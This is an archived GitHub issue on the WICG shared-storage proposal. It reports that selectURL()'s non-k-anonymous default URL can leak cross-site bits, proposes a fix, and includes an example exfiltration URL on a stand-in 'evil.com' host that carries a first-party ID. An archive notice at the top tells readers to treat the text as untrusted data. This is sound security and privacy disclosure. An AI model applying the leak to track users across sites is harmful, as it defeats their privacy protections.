Problem with sharedStorage's described use of k-anonymity

Problem with sharedStorage's described use of k-anonymity - gtanzer, GitHub.

- Published: 2022-07-22
- Original: <https://github.com/WICG/shared-storage/issues/39>
- Preserved from: https://github.com/WICG/shared-storage/issues/39 (github-api) on 2026-09-10
- Licence: unknown

Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Problem with sharedStorage's described use of k-anonymity

- Repository: WICG/shared-storage
- Opened by: gtanzer
- Opened: 2022-07-22
- State: closed

Body

The explainer says:

""" `selectURL()` returns a promise that resolves into an opaque URL for the URL selected from urls.

- `urls` is a list of dictionaries, each containing a candidate URL `url` and optional reporting metadata (a dictionary, with the key being the event type and the value being the reporting URL; identical to FLEDGE's registerAdBeacon() parameter), with a max length of 8.
  - The `url` of the first dictionary in the list is the default URL. This is selected if there is a script error, or if there is not enough budget remaining, or if the selected URL is not yet k-anonymous.
  - The selected URL will be checked to see if it is k-anonymous. If it is not, its k-anonymity will be incremented, but the `default URL` will be returned.
  - The reporting metadata will be used in the short-term to allow event-level reporting via `window.fence.reportEvent()` as described in the FLEDGE explainer.

"""

This design has the following flaw: The default URL is not necessarily k-anonymous and may be used to join first/third-party information. For example:

Let `selectURL([url1, url2, url3]);` pick `url2` if some third party bit = 0 and `url3` if the third party bit is 1. Let `url3` be above the k-anonymity threshold, but not `url1` or `url2`.

If the third party bit is 0 (or repeat with a different selection algorithm for 1), `url1` will be loaded even though it isn't k-anonymous and joins a bit of cross-site data (e.g. the URL could be "https://evil.com?first_party_id=unique_id&third_party_bit=0"). You can repeat this process to extract arbitrarily many bits of cross-site data to the server (if the server is untrusted; otherwise you just get a single k-anonymity violation + 1-bit leak locally).

We want to ensure the following property:

- The selected URL is independent of third-party information OR The selected URL is k-anonymous.

We can achieve this with an additional check at the start, as follows:

- If the first URL (the default URL) is not k-anonymous, select it (or even return an error) and increment its k-anonymity.
- If the first URL is k-anonymous, proceed with the above design.

Comments

pythagoraskitty, 2022-07-22

It seems that this attack will only work if the caller *knows* that `url3` will be `k`-anonymous. Otherwise they are not guaranteed that their joined data from the default URL will be correct.

gtanzer, 2022-07-22

Whether URLs are k-anonymous is effectively public information, since you can query the server at a public endpoint (the same way Chrome client does). At worst, you could use a URL that you know to have reached the threshold by other means, e.g. that it is used in a very popular experiment.

pythagoraskitty, 2023-06-08

Closing since we decided not to use k-anon for now.